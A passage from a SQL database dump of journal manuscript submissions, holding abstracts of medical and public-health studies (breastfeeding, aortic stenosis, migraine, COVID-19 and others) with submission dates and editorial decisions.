sisters, khat chewing practice and having smoking peers. These factors should be thought for further prevention and control of smoking among high school students. Moreover, families of the students should be strongly prohibited their use of tobacco by strongly legislating law of the countries against tobacco use.','Tobacco smoking, prevalence, associated factors, high school students.',643,NULL,'2021-06-30',NULL,'Submitted',10,NULL,'2021-07-24',NULL,1,1,'0','Minor Revision',0,NULL,NULL,NULL,0,0,0,NULL,0),(9173,8948,45,0,'iphsj-21-9173','Knowledge, attitude and practice of mothers towards exclusive breast feeding in Ginnir town, Bale Zone, Oromia region, southeast Ethiopia',NULL,14,0,'','Background: Breast feeding is natural resource needless energy for preparation. It costs no money; provide holistic nutritional values for infants and it is free of microbes .Exclusive breast feeding are effective for the prevention of childhood morbidity and mortality. Its practice for the first Six months could avert (3-15%) of infant mortality. In Ethiopia, the prevalence of Exclusive breast feeding is majorly affected by the knowledge and attitude of mothers.\r\nMethodology: A community based cross sectional study design was conducted from April 8-14/2013 in Ginnir town. A total of 348 mothers were selected by using systematic random sampling. The data were analyzed using SPSS version 22.\r\nResult: A total of 348 mothers during collection period were interviewed. The response rate was 98.9%. The prevalence of EBF practice in the study area was 62.89 %. Three fourths of the study participants have positive attitude toward EBF. About 76% of mothers had sufficient Knowledge regarding use of exclusive breast feeding. \r\nConclusion and recommendations: This study has low Practice of breast feeding when compared to other study findings. It also indicated that knowledge and attitude were the predictors for exclusive breast feeding of children. Therefore, the health extension workers and other health professionals should conduct behavioral change communication with women for child bearing age mothers.','Knowledge, attitude, practice of mothers, exclusive breast feeding.',643,NULL,'2021-06-30',NULL,'Submitted',16,NULL,'2021-07-24',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(9174,9715,639,0,'ipfs-21-9174','Edotorial on water fisheries ',NULL,5,0,'trends in fisheries culture','In expansive utilization, the expression \"fisheries\" alludes to the catch and handling of ocean, seaside, and inland sea-going creatures and plants for business, sporting (game), or means (endurance) purposes. The expression \"fishery\" could allude to a little new water stream, one of the Great Lakes, or the whole Atlantic Ocean. However \"fishery\" ordinarily is applied to a particular space of water where fish are economically gathered from wild stocks (populaces), and \"fishery (or fisheries) the executives\" alludes to its related administration. In spite of the fact that game fishing, hydroponics , and the reaping of sea-going creatures or plants are now and again classified under fisheries the executives, this article tends to just new water catch fisheries. A couple of instances of fisheries overall are introduced.','fish',1770,NULL,'2021-06-30',NULL,'Submitted',2,NULL,'2021-07-02',NULL,1,1,'1','accepted the article',0,NULL,NULL,NULL,0,0,0,NULL,0),(9183,10144,639,0,'ipfs-21-9183',' Evaluation of Processed Jatropha curcas cake as food supplement on catfish (Clarias gariepinus)',NULL,14,0,'','Aquaculture is an important weapon in the global fight against malnutrition and poverty, particularly in the developing countries (TACON, 2001). Increase in human population in these countries, along with changing perceptions of healthy food in affluent regions, are set to increase the demand for food fish. Aquaculture production seems to be responding to the increased fish demand and have exclusively increase the world fish production by 20 million tones. In addition to being the fastest growing food production sector of the world aquaculture activities currently employ about 9 million people (FAO 2000).\r\nFeeding is the most important task in the intensive pond production of catfish (Edwin et al., 1998), their feeding behavior can be an important clue to general health and to other conditions in the pond.','Supplement, Catfish',1770,NULL,'2021-07-01',NULL,'Submitted',2,NULL,'2022-07-27',NULL,1,1,'0','Accept for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(9210,10164,86,0,'ipaom-21-9210','Non-invasive hemodynamic monitoring in TAVI-patients reveals more pronounced  early in-hospital circulatory recovery for low-gradient aortic stenosis  ',NULL,14,0,'','Title: Presentation and evaluation of hemodynamic changes in subgroups of patients following transcatheter aortic valve implantation.\r\nBackground: Little is known about differences and changes in hemodynamics in patients with low-gradient (LG-) and non-low-gradient (NLG-) aortic valve stenosis (AS). Our current observation reveals such specific changes using the non-invasive NICaS® electrical bio-impedance monitoring system.\r\nAim: Primary goal was to illustrate possible differences in subgroups of LG-AS and NLG-AS patients and to discriminate post-procedural adaptive mechanisms for the two subgroups.\r\nMethods and Findings: In 99 unselected patients subjected to TAVI, NICaS® measurements were performed at baseline, 6 to 8 hours after TAVI and before discharge. 46 patients had a mean pressure gradient < 40 mmHg corresponding to a LG-AS. Primary endpoint was defined as the change in cardiac index between the LG-AS and NLG-AS group at discharge.\r\nCardiac index increased in both groups as compared with baseline [from 2.52±0.75 to 3.45±1.15 L/min/m² (P = 0.00014) in LG-AS and form 2.70±0.97 to 3.08±0.94 L/min/m² (P = 0.0198) in NLG-AS]. Increase in cardiac index was more pronounced in LG-AS with a difference between the groups of 0.52±0.32 L/min/m² (P = 0.041) at discharge. Additionally, LG-AS patients showed higher increase in stroke volume index, cardiac power index, and Granov-Goor index and decrease of total peripheral resistance and total peripheral resistance index as secondary parameters.\r\nOne limitation of our study is the observational design in a small cohort of patients. Therefore, larger trials are warranted to confirm our findings and to show whether there is prognostic relevance for long term outcomes of the different subgroups.\r\nConclusion: NICaS® monitoring represents an accurate non-invasive bedside-tool to discriminate adaptive circulatory changes in subgroups of aortic stenosis patients subjected to TAVI. Hemodynamic parameters recovered more effectively in LG-AS patients after procedure. Whether a measurement-guided approach might be used for tailored peri-procedural management and could have long-term prognostic influence for AS subgroups remains to be elucidated.  \r\n\r\n','Transcatheter aortic valve implantation; Non-invasive whole body electrical bio-impedance measurements; NICaS®; In-hospital hemodynamic outcomes\r\n\r\n',409,NULL,'2021-07-02',NULL,'Submitted',2,NULL,'2021-08-16',NULL,1,1,'0','Dear Authors, \r\nYour paper has been accepted for publication. \r\nThank you very much for your contribution.\r\nBest regards\r\nTheodoros Aslanidis\r\nThe handling editor',0,'','',NULL,0,0,0,NULL,0),(9229,10185,73,0,'ipjnn-21-9229','Acute Ischemic Stroke from sinovenous occlusive disease. tPA or no tPA?',NULL,2,0,'','Cerebral venous thrombosis (CVT) is a rare cause of acute ischemic stroke (AIS). There is no existing literature on the use of recombinant tissue plasminogen activator (rtPA) for venous strokes if they present within the window for thrombolysis. In addition, establishing venous thrombosis as a cause of acute stroke when deciding to administer rtPA can be challenging. We present a case of acute venous stroke who received rtPA when she presented within 4.5-hour window. The report discusses early imaging findings and the role of thrombolysis in acute phase of CVT.','Acute stroke, cerebral venous sinus thrombosis, thrombolysis, neuroimaging, tissue plasminogen activator',338,NULL,'2021-07-03',NULL,'Submitted',4,NULL,'2021-10-26',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(9230,10186,91,0,'ijddr-21-9230','A systematic review on Nephroprotective plants',NULL,15,2,'','Nephrotoxicity occurs when the body is exposed to medicine or toxin, which is one of the most prevalent kidney diseases. There are various numbers of therapeutic agents responsible for the occurrence of nephrotoxicity like anticancer drugs, antibiotics, some NSAIDs, etc. These agents weaken kidney function which results in renal failure. Nephrotoxicity is the poisonous effect of some substances that may include both toxic chemicals and medication on the kidney. Many medicinal herbs, natural compounds, and dietary components have been studied as possible nephroprotective agents. This article represents the review of different kinds of nephroprotective agents. Medicinal plantsplaya major role as a source of potential compounds for the development of effective therapy for the treatment of kidney problems. Many kinds of literature searches have been done and proved that; many medicinal plants have nephroprotective activity. Herbal medicines possess curative properties due to the presence of phytochemical constituents. The review represented all the details of phytochemical constituents of a medicinal plant which are used as nephroprotective drugs.','Nephroprotective, kidney disease, renal failure, medicinal herbs, phytochemical drugs',4616,NULL,'2021-07-04',NULL,'Submitted',19,NULL,'2021-07-06',NULL,1,1,'0',NULL,0,'','',NULL,0,4,0,NULL,0),(9231,10187,73,0,'ipjnn-21-9231','Relation of Hypertension with Migraine and Chronic Daily Headache in population of Rafsanjan Cohort study',NULL,14,2,'','Background: Headache has a variety of types, such as Migraine and chronic daily headache (CDH) in its primary form. There is a positive correlation between these two types of headaches and hypertension (HTN), but in some works this correlation has been reported negatively. Therefore, we planned to study HTN-Migraine as well as HTN-CDH correlation in our population.\r\nMethods: A sample of Rafsanjan population (10000 individuals) entered the cohort study, as a part of the prospective epidemiological research studies in IrAN (PERSIAN). In this population, we compared the frequency of HTN categories in cases with Migraine and CDH with a normal population (without Migraine).\r\nResults: Out of 9990 participants (46.6% males and 53.4% females) about 29% had Migraine and 7.5 % had CDH.HTN was found in 24.27% of Migraine and 31.98% of CDH cases. HTN was also found to be associated with Migraine and CDH in the crude model. Two Categories of HTN (Long controlled and uncontrolled) were not associated with Migraine. On the other hand, CDH showed associations with all the HTN categories. Moreover, in a model, which included all variables and confounders, Migraine and CDH had association with HTN without any considerable changes.\r\nConclusion: Our study showed that there is strong HTN-Migraine as well as HTN-CDH correlations in the studied population.\r\n','Headache, Migraine, Hypertension, Prospective Epidemiological Research Studies in IrAN (PERSIAN)',329,NULL,'2021-07-04',NULL,'Submitted',19,NULL,'2021-07-09',NULL,1,1,'1',NULL,0,'','',NULL,0,4,0,NULL,0),(9233,10189,45,0,'iphsj-21-9233','GUILLAIN BARRE VS MIASTENIA GRAVIS AS AN ATYPICAL PRESENTATION OF SARS COV 2 BY MOLECULAR MIMIC: PURPOSE OF A CASE',NULL,2,1,'COVID 19','Introduction: Guillain-Barré syndrome (GBS) is an acute polyradiculoneuropathy due to an autoimmune process, which is triggered in most cases by a viral or bacterial infection, its incidence is 1.75 / 100,000 inhabitants worldwide. It is a very rare pathology and even less frequent are the cases in young women, so we carry out a review of its epidemiology, clinical manifestations, diagnostic criteria and management. Objective: In this work the case of a young adult woman with GBS is presented. Description of the case: This is a 22-year-old female patient, who was admitted for 10 days at the ESE Hospital La Divina Misericordia with a picture of approximately 1 hour of evolution consisting of dysphagia, odynophagia, asthenia, episodes of dizziness, adynamia, accompanied by a decrease in muscle strength in the upper limbs, also associated with loss of tongue sensitivity. Conclusions: GBS in young women is a rare variant. In most reports the course of the episodes is unpredictable.','Guillain Barré Syndrome, Myasthenia Gravis, Sars-CoV-2, Molecular Mimicry',4825,NULL,'2021-07-04',NULL,'Submitted',2,NULL,'2022-02-11',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(9235,4939,277,0,'ipadm-21-9235','RUPTURA DE MULTIPLES ANEURISMAS CEREBRALES ASOCIADO A SINDROME DE SJÖGREN SECUNDARIO. REPORTE DE UN CASO',NULL,2,0,'','Se presenta un caso de una  paciente de 42 años de edad con antecedentes de Síndrome de Sjögren secundario, artritis reumatoidea primaria, endometriosis e hipertensión arterial, que presentó un cuadro de cefalea vascular con estudios radiológicos sugestivos de aneurisma de la arteria carótida interna derecha y arteria cerebral media derecha. Posteriormente se procedió a terapéutica endovascular de aneurisma de la bifurcación de la arteria cerebral media derecha con  stent diversor de flujo y terapéutica endovascular de disecante de segmento V4 derecha con Coils y balon de arteria vertebral derecha. A la hora siguiente del  postoperatorio se encuentra a la paciente inconsciente por lo que se le ordena TAC simple, el cual muestra sangrado intracraneal  por lo que se procede a intervenir a la paciente con un drenaje ventricular externo (DVE). Días después la paciente fallece por complicaciones inherentes al sangrado.','Síndrome de Sjögren, aneurisma, aneurisma roto, hemorragia cerebral',2805,NULL,'2021-07-04',NULL,'Submitted',2,NULL,'2021-10-04',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(9236,9973,326,0,'IPJUS-21-9236','Lateral internal sphincterotomy',NULL,5,0,'','Lateral internal sphincterotomy is an activity to treat an anal fissure, a tear in the opening of the anus that can cause torment, bleeding, and itching. \r\nAnal fissures are caused by spasm of the anal muscles and can cause anal pain that can be quite severe, generally during and after a bowel movement. Anal gaps are typically treated with warm water showers and drugs. At the point when those don\'t work, a lateral internal sphincterotomy might be performed. This activity recuperates an anal fissure that is not improving with drugs alone. Lateral internal sphincterotomy can be performed with either local anesthesia or sedation.','sphincterotomy, fissures',2505,NULL,'2021-07-05',NULL,'Submitted',2,NULL,'2021-07-06',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(9243,10195,73,0,'ipjnn-21-9243','Comprehending the blood-brain-barrier, vital constraints and recent updates for CNS therapeutics',NULL,15,2,'','Background: The Blood-Brain Barrier (BBB) acts as a hindrance to the transport of potential therapeutic agents in the brain; hence it serves as a major limiting factor to treat pharmacological dysfunction of the central nervous system (CNS). In a healthy brain, the BBB act as an essential barrier for protecting normal brain functions by preventing the transportation of foreign substances from the systemic circulation into the brain. \r\nArea covered: This review gives us complete knowledge of the anatomical structure of the BBB and mechanisms involved in drug transport. It highlights the major aspects to be considered for the effective brain delivery of the drugs. It has also covered different types of barriers that obstruct the entry of therapeutic agents as well as the current strategies and approaches that facilitate penetration across the barrier for enhanced drug delivery to the CNS.\r\nExpert opinion: There is a need for an in-depth understanding of the physiochemical activity of the carriers used, pharmacokinetic properties of the therapeutics required to be delivered, as well as the anatomical and biological factors which have an immense influence on the delivery of the drugs to the brain.','Blood-brain barrier, Drug delivery, Transporters, Nanoparticles, Brain targeting',332,NULL,'2021-07-05',NULL,'Submitted',19,NULL,'2021-07-09',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,4,0,NULL,0),(9251,10201,975,0,'ipjbs-21-9251',' SARS-CoV-2 post vaccination disease infection tracking: Breakthrough cases in Pakistan',NULL,2,0,'','Abstract\r\nBackground\r\nThe available COVID-19 vaccine claims to present good protection against infection. However, none of them offers 100% safety to counter the disease. Since the start of the vaccination program, there are reports from different parts of the world mentioning the individuals have developed COVID 19 infection after administration of two doses of vaccine.\r\nMethods and Findings\r\nThe brief report presents incidents of SARS-CoV-2 re-infection in two vaccinated individuals despite evidence that two doses of vaccine (Sinopharm) led to antibody production against spike protein. Both the individuals gave history of travel and close contact with an infected patient. One of the individual presented with respiratory distress symptoms but none of them develop signs of disseminated intravascular coagulation (DIC). Chest X-ray and HRCT were un remarkable even with the drop of oxygen saturation to 91%. There is a rarity of reported occurrence of SARS-CoV-2 infection after two jabs, particularly from Pakistan. \r\nConclusion\r\nThe study reveals that post vaccination Covid 19 infection reduces the morbidity and mortality rate by controlling the derangements initiating the disseminating intravascular coagulation. The vaccine breakthrough incident puts light on the significance of constant public health monitoring and contingency protective measurements. Our findings may help to pave down further guidelines regarding changing scenario of the pandemic in a country with limited resources and huge population burden.  \r\n\r\n','SARS-CoV-2, Vaccine, COVID-19, Infection, Re-infection',4873,NULL,'2021-07-06',NULL,'Submitted',2,NULL,'2021-07-20',NULL,1,1,'0','Can be publish',0,'','',NULL,0,0,0,NULL,0),(9267,10216,45,0,'iphsj-21-9267','Knowledge and preventive practice towards Non-communicable diseases risk factors among civil servants of Kellem Wollega Zone, Western Ethiopia in January, 2020',NULL,14,2,'','Abstract \r\nBack ground: According to WHO international report, more than 38% millions people die annually from Non-communicable diseases (63% of global deaths), including 16 million people who die before the age of 70. The objective of this study: Assessment of knowledge and practicing prevention of Non-communicable diseases’ risk factors among the civil servants in Kellem Wollega Zone, Oromia region, Western Ethiopia, January, 2019.\r\nMethods: Government office based Cross-sectional study was conducted in three selected woredas of Kellem Wollega Zone, Oromia region, Ethiopia from January 1-30/. Administered structured questionnaire were used for data collection. The collected data were sorted manually, entered in to Computer and cleaned by using Epi-data version 3.1 and exported to SPSS version 23.0 for analysis. Descriptive statistics, binary and multiple logistic regressions were employed. The analysed data were interpreted by using adjusted odd ratio with 95% confidence interval.\r\nResults: five hundred sixty eight (100%) were participated , about 324(57.1%) were Degree in their level of education, 155(27.3%) heard ever about non-communicable diseases risk factors, 120(21.1%, 48(8.5%) and 29 (5.1%) measured their body mass index, Blood pressure, and total blood cholesterol frequently by skilled health care providers respectively.  Those who have attended first degree and above, and those with Health care professionals were found to be more knowledgeable and practicing prevention of Non-Communicable Diseases’ risk factors (AOR=4.53; 95%:1.86, 11.14) and (AOR = 2.37: 2.964, 5.834) respectively. \r\nConclusion:  The overall knowledge and practicing prevention of Non-Communicable Diseases’ risk factors were 155(27.3%) and 58(10.2%) respectively, Civil servants with high level of education (BSc/BA and MSC/MA) and those with health care professional were identified to have favorable level of knowledge and practicing prevention of risk factors of Non-Communicable Diseases. Hence, Awareness on Non-communicable diseases’ Risk factors prevention particularly, on biological and physiological risk factors should be given for the civil servants of the study area. \r\n\r\n','Key words: Non-Communicable Diseases Risk factors, civil servants, knowledge, preventive practice.',4902,NULL,'2021-07-06',NULL,'Submitted',19,NULL,'2021-08-03',NULL,1,1,'0','Accepted',0,'','',NULL,0,4,0,NULL,0),(9269,10218,996,0,'ipar-21-9269','SURGICAL MANAGEMENT  OF FRACTURES IN VERTEBRAE WITH  ANKYLOSING SPONDYLOSIS- A SYSTEMATIC  REVIEW WITH NEWER PRINCIPLES OF MANAGEMENT.',NULL,15,0,'','Ankylosing Spondylosis is a type of seronegative arthritis that causes inflammation and eventually fusion of the spine and the spinal joints. Involvement of peripheral joints and extraarticular  manifestations. it includes-Ankylosing spondylitis (AS); Diffuse idiopathic skeletal hyperostosis (DISH);End stage  spondylosis multiform (EASM); Ossified posterior longitudinal ligament (OPLL). The prevalence ranges from 0.1 to 1 percent of the population, M>F, between15-40 years; 95% share the genetic marker HLA-B27. Numerous bony changes to  spine include-Intraosseous bone loss; erosion; sclerosis; fractures; extra osseous squaring; syndesmo and enthesophytes . Incidence of vertebral fracture in patients with AS is 3.5 times higher than in general population, 75% of the fractures occur in the cervical spine followed by the thoracic and lumbar spine. Spinal cord injury is about 11 times higher than the general population. Mean age of fracture is 63.4 years. Treatment is challenging due to  kyphosis, osteoporosis, with restrictive lung disease, and medical comorbidities. Treatment goals are to reduce or prevent- inflammation, ankylosis, abnormal posture. The principle is to treat the fracture as long bone osteoporotic diaphyseal fracture. Apart from 360* fracture fixation with long construct, MIS surgery, other fracture managements in AS are deformity correction, laminectomy, laminoplasty, rhizotomy, neuromodulation . Complication rates are high,wound infections up to16%,pulmonary complications up to 63%,mechanical complications up to 23% amongst many are reported. Therefore, an appropriate standardized workup and consideration of specific injury patterns are essential before decision making.\r\n','Key Words: Ankylosing Spondylytis;  vertebral fracture; anteropostero fixation; wedge osteotomies; significant complication .\r\n',3650,NULL,'2021-07-06',NULL,'Submitted',4,NULL,'2021-10-11',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(9276,9871,277,0,'ipadm-21-9276','Impact of COVID-19 on Pharmaceutical Industry: Status of Clinical Trials and Mitigation Strategies',NULL,14,0,'','BACKGROUND: COVID-19 could affect clinical trials because avoidance of close contact between people constitutes one of the approaches that have been recommended to ensure that individuals do not become exposed to the coronavirus.\r\n\r\nOBJECTIVES: To discuss the impact of COVID-19 on clinical trials within the pharmaceutical industry. In addition, the paper examines some strategies that can be adopted to cope with impact of COVID-19 on clinical trials and thus ability to continue conducting the trials.  \r\n\r\nMETHODS: This is a narrative review article. We provided a synthesis of current literature and guidelines obtained from searches on many electronic databases (PubMed/Medline, EMBASE, and Cochrane Library), Google search engine, the United States (US) Food and Drug Administration (FDA) website, and hand searches on the bibliography of the articles. \r\n\r\nRESULTS: There is a significant impact of COVID-19 on clinical trials. The impact includes: undermining sponsors’ economic ability to fund clinical trials, social distancing, impeding recruitment of participants for non-COVID-19 clinical trials, discouraging participants from visiting clinical sites due to fear of COVID-19 infections, and making trial staff to opt for remote working. The US FDA published new guidelines to be applied during the ongoing pandemic. Mitigation strategies to ensure continuity of clinical trials include: adopting participant enabling measures, modifying clinical trial protocol, providing logistical and supply chain management support, embracing remote data review and clinical site monitoring, and offering extra site support services. \r\n\r\nCONCLUSIONS: COVID-19 pandemic is disrupting the initiation and continuing ongoing clinical trials. Guidelines have to be followed and strategies for mitigating adverse impacts of COVID-19 need to be applied. Modifying monitoring methods should be done to accommodate the constraints posed by the ongoing COVID-19 pandemic.','coronavirus, COVID, SARS, clinical trial, guidance, guideline, recommendation, mitigation.',2805,NULL,'2021-07-07',NULL,'Submitted',2,NULL,'2021-07-22',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(9277,9202,277,0,'ipadm-21-9277','ANTICOAGULACIÓN EN PACIENTES CON EMBOLIA PULMONAR EN SITUACIONES ESPECIALES',NULL,15,0,'','Introducción: La embolia pulmonar (EP) presenta un riesgo considerable de mortalidad temprana que puede variar desde un 1% hasta más de un 15% y la estratificación de dicho riesgo teniendo en cuenta las características clínicas de presentación de la misma, comorbilidades individuales o bien implementando escalas que reúnen estos parámetros, permiten identificar el manejo más apropiado para cada paciente. El tratamiento de la EP de bajo riesgo consiste básicamente en administrar fármacos anticoagulantes, pero la titulación de los mismos debe hacerse de manera individualizada en cada sujeto de acuerdo a las comorbilidades y/o condiciones clínicas que este presente.\r\nObjetivo: Realizar una revisión de la literatura actualizada del tópico anticoagulación en tromboembolismo pulmonar y ofrecer una visión más clara entorno al abordaje anticoagulante en los diferentes escenarios clínicos.\r\nMetodología: Se realizó una búsqueda avanzada con los téminos DeSC y MeSH: Anticoagulación, Embolia pulmonar, Insuficiencia renal crónica, Adulto mayor, Trombofilia, Embarazadas, Insuficiencia Hepática, Obesidad y Trombolisis. Se utilizaron las bases de datos Pubmed, Clinical Key, Science Direct y Scielo, obteniendo un total de 317 entre revisiones de la literatura, reportes de caso y artículos originales; basados en algunos criterios de selección como el respectivo análisis de los artículos y el uso de filtros para escoger principalmente información correspondiente a los últimos 5 años de publicación, se implementaron 130 artículos para la elaboración de la presente revisión narrativa de la literatura.\r\nConclusión: La anticoagulación constituye la piedra angular del tratamiento de la EP de bajo riesgo. El uso de los ACOD que parecían ser fármacos muy prometedores se ve limitado en ciertos grupos de pacientes con condiciones clínicas propias, por lo que la elección del anticoagulante a usar debe realizarse de manera individualizada.','Anticoagulación, Embolia Pulmonar, Mujeres Embarazadas, Obesidad, Insuficiencia Renal Crónica, Insuficiencia Hepática, Adulto Mayor.',2805,NULL,'2021-07-07',NULL,'Submitted',4,NULL,'2021-09-14',NULL,1,1,'0','He leído este manuscrito y ciertamente felicito a los autores por sus esfuerzos.\r\nCreo que podría ser aceptable si se modifican y aclaran varios aspectos.\r\nLos autores deben tener en cuenta el mensaje que quieren comunicar y si este conocimiento será de utilidad para los lectores. Quizás pueda representar una descripción de un evento centinela; un factor de riesgo epidemiológico; una advertencia para alertar en situaciones similares; una sugerencia de hipótesis explicativa; etc.\r\ncontinúa con la publicación',0,NULL,NULL,NULL,0,0,0,NULL,0),(9285,10233,73,0,'ipjnn-21-9285','COVID-19 and illness anxiety disorder',NULL,2,0,'','A 38 year old male client presenting at outdoor patient department as symptoms of difficulty in breathing, uneven running heart beats, heaviness in head, trembling of body, fear that something will happen to him and he will die suddenly. With the scenario of COVID-19 pandemic, this case reports evaluates the psychiatric differential diagnosis of these symptoms. Illness anxiety disorder(IAD) being 4 to 6 % in general population, is a psychiatric illness in which a person is preoccupied of being seriously ill. IAD needs to be ruled out if clinical examination and investigations are normal. This will not only reduce the cost of treatment but also will be an in time psychiatric management of symptoms.\r\n','Illness anxiety disorder, COVID-19, Hypochondriasis\r\n',352,NULL,'2021-07-07',NULL,'Submitted',2,NULL,'2021-10-04',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(9286,10234,326,0,'IPJUS-21-9286','The impact of COVID-19 pandemic on alloplastic breast reconstruction surgery; a monocenter study',NULL,14,0,'','The purpose of this thesis is to investigate the impact of the coronavirus disease 2019 (COVID-\r\n19) on alloplastic breast reconstruction surgery in the Casa Austria Clinic of Plastic and \r\nReconstructive Surgery in Timisoara, Romania. Breast cancer is the most common malignancy \r\noccurring in women worldwide. Breast reconstruction surgery is momentous for the women who \r\nhave faced the physical and psychological impact of the breast cancer surgery and they want to \r\ngain back their confidence and the functionality of their breasts. The infectious disease of COVID-\r\n19, which started in Wuhan, in China, in December 2019 and was spread worldwide, influenced \r\nthe healthcare system as for protective reasons and due to the increased needs of the hospitals, \r\nmodifications to the protocols of surgeries and restrictions in general were applied. Data for this \r\nstudy were obtained by accessing the database of the Casa Austria Clinic for the period of January \r\n2015 until March 2021. 110 patients who had performed breast reconstruction surgery after \r\nmastectomy participated in this retrospective analysis and they were distributed in two groups \r\naccording to the year they were admitted to the hospital; Group A consisting of 96 patients during \r\nJanuary 2015 until December 2019 (pre-pandemic period) and Group B consisting of 14 patients \r\nduring January 2020 until March 2021 (pandemic period). The comparison was related to the: \r\npatients’ number, hospitalization days, times admitted to the hospital, type and timing of \r\nreconstruction, neoplasm and breast reconstruction location, mastectomy reason, nipple \r\nreconstruction, post-reconstruction complications and secondary interventions. \r\nThe results suggest that the immediate alloplastic breast reconstruction with tissue expander \r\nwas almost exclusively used during the pandemic period, even though the number of the patients \r\nwas radically reduced, it was the safest procedure as no patient had any post-operative \r\ncomplications and the hospitalization duration was decreased.','',2505,NULL,'2021-07-07',NULL,'Submitted',4,NULL,'2022-07-12',NULL,1,1,'0','Revision',0,'','',NULL,0,0,0,NULL,0),(9303,10242,86,0,'ipaom-21-9303','The burden of diabetic kidney disease in Nigeria- systematic review and meta-analysis',NULL,15,0,'','Background\r\nDiabetic kidney disease (DKD) is a microvascular complication of diabetes mellitus. Considering that the burden of diabetes mellitus is rising in Nigeria, there is a need to ascertain the burden of one of its most common complications. The objective of the meta-analysis was to determine the pooled prevalence of DKD in Nigeria and identify its risk factors.\r\nMethods\r\nThe study is a meta-analysis and it followed the PRISMA guidelines. Google scholar, PubMed, AJOL, SCOPUS, medRxiv and the grey literature were systematically searched using appropriate key terms. Statistical analysis was done with MetaXL. The inverse variance heterogeneity model was used for the meta-analysis and heterogeneity was determined using the I2 statistic and the Cochran’s Q test. Publication bias was checked with the Doi plot and LFK index.\r\nResults\r\nNineteen studies met the eligibility criteria. The total sample size was 56 571. The pooled prevalence of diabetic kidney disease in Nigeria was 28% (95% CI 3-58). The Cochran’s Q was 747 (p<0.001) while the I2 statistic was 97.6%. The Doi plot was drawn and the LFK index was 6.22. The most common risk factors for DKD were suboptimal glycaemic control, hypertension, obesity, duration of diabetes, male gender and advancing age.\r\nConclusion\r\nThe prevalence of DKD in Nigeria is high and greater attention should be focused on managing the risk factors so as to alleviate the burden of the disease.','Diabetic kidney disease, diabetic nephropathy, Prevalence, Risk factors, Nigeria, Meta-analysis.',2890,NULL,'2021-07-08',NULL,'Submitted',2,NULL,'2021-07-26',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(9318,10256,73,0,'ipjnn-21-9318','Efficacy of Trans Nasal Sphenopalatine Ganglion Block in Migraine',NULL,8,0,'','The Sphenopalatine ganglion (SPG), a parasympathetic ganglion in the pterygopalatine fossa, is involved in the activation of trigemino autonomic reflex, a pathway responsible for the symptoms of migraine and other primary headaches. Hypersensitivity of the SPG may be responsible for the escalating pain and repeated attacks in migraine. Blocking the Sphenopalatine ganglion may result in aborting of an acute migraine attack as well as decrease the frequency of subsequent attacks by decreasing hypersensitivity of the SPG. Method:An open, prospective interventional study was planned on 42 patients who fulfilled  ICHD3 beta criteria of Migraine. A single, bilateral transnasal Sphenopalatine ganglion block was administered to patients , using cotton tip applicator soaked with 4% lidocaine. VAS  was recorded before the procedure and 15 minutes, 2 hours and 24 hours after the procedure. The frequency of headache before and after a single SPG block was also noted.  P value of < 0.050 was considered significant. Results: 30 patients completed the study. . The pre procedure VAS was 6.53±1.01. The mean VAS after fifteen minutes and 2 hours was 2.27±0.69 and 1.37±0.67 respectively.  Mean Frequency of migraine episodes decreased from 10.33±2.84 to 7.90±2.38 after the block(p< 0.001). Twenty three patients had recurrence in the second week of intervention and 7 in the third week. Conclusion: a single trans nasal Sphenopalatine block is an effective, non invasive way of aborting an acute episode of migraine. along with causing a decrease in frequency of further attacks for upto a month.','trans nasal, sphenopalatine ganglion block, migraine, frequency of migraine episodes',329,NULL,'2021-07-09',NULL,'Submitted',4,NULL,'2022-08-25',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(9331,10264,45,0,'iphsj-21-9331','A septic shock and multi-organ-failure case due to mediterranean spotted fever',NULL,2,0,'','Rickettsia Conorii is an obligate intracellular Gram negative bacterium that causes a spectrum of different syndromes. An 83-year-old splenectomised patient has septic shock associated with coagulopathy and multi-organ-failure. The patient is treated with doxycycline, vasoactive amines, fresh frozen plasma, antithrombin III with progressive clinical improvement. Mediterranean spotted fever is a pathology that frequently has benign characteristics however, in fragile patients it can manifest itself with severe clinical conditions.','Mediterrenean spotted fever, zoonosis, Rickettsia Conorii, septic shock, multi-organ failure',4912,NULL,'2021-07-09',NULL,'Submitted',2,NULL,'2021-07-23',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(9332,4635,277,0,NULL,'Micosis Fungoide Hipopigmentada en Pediatría: Reporte de Caso',NULL,2,0,'Micosis Fungoide Hipopigmentada en Pediatría: Reporte de Caso','La Micosis Fungoide es una neoplasia maligna originada en los linfocitos T, que compromete principalmente la piel y puede presentar afectación sistémica con involucro de médula ósea, ganglios linfáticos y diversos órganos. Es el tipo más frecuente de linfoma cutáneo de células T y puede tener variedades clínicas dentro de las que predomina la hipopigmentada. La papulosis linfomatoide puede preceder a esta neoplasia en 5-20% de los pacientes. Se presenta el caso de escolar femenino de 10 años de edad con papulosis linfomatoide y que 5 años posteriores presenta Micosis Fungoide Hipopigmentada.','Hipopigmentación, Micosis Fungoide, Papulosis linfomatoide, Linfoma cutáneo de células T.',2805,NULL,'2021-07-09',NULL,'Submitted',14,NULL,'2023-03-28',NULL,1,0,'0','The case can be published.',0,NULL,NULL,NULL,0,0,0,NULL,0),(9338,8562,277,0,NULL,'Enfoque estratégico para la atención de la pandemia por Sars-CoV-2 en un hospital en Colombia   ',NULL,16,1,'Enfoque estratégico para la atención de la pandemia por Sars-CoV-2 ','Introducción\r\nEl carácter de emergencia de una pandemia implica un crecimiento acelerado de la capacidad instalada para la atención de pacientes en los hospitales. El departamento de Antioquia en Colombia no cuenta con suficiente infraestructura hospitalaria para atender la excesiva demanda que se podría generar. El Hospital Manuel Uribe Ángel de Envigado (HMUA) hace una planeación estratégica para lograr la atención médica que será requerida durante la pandemia de Sars-CoV 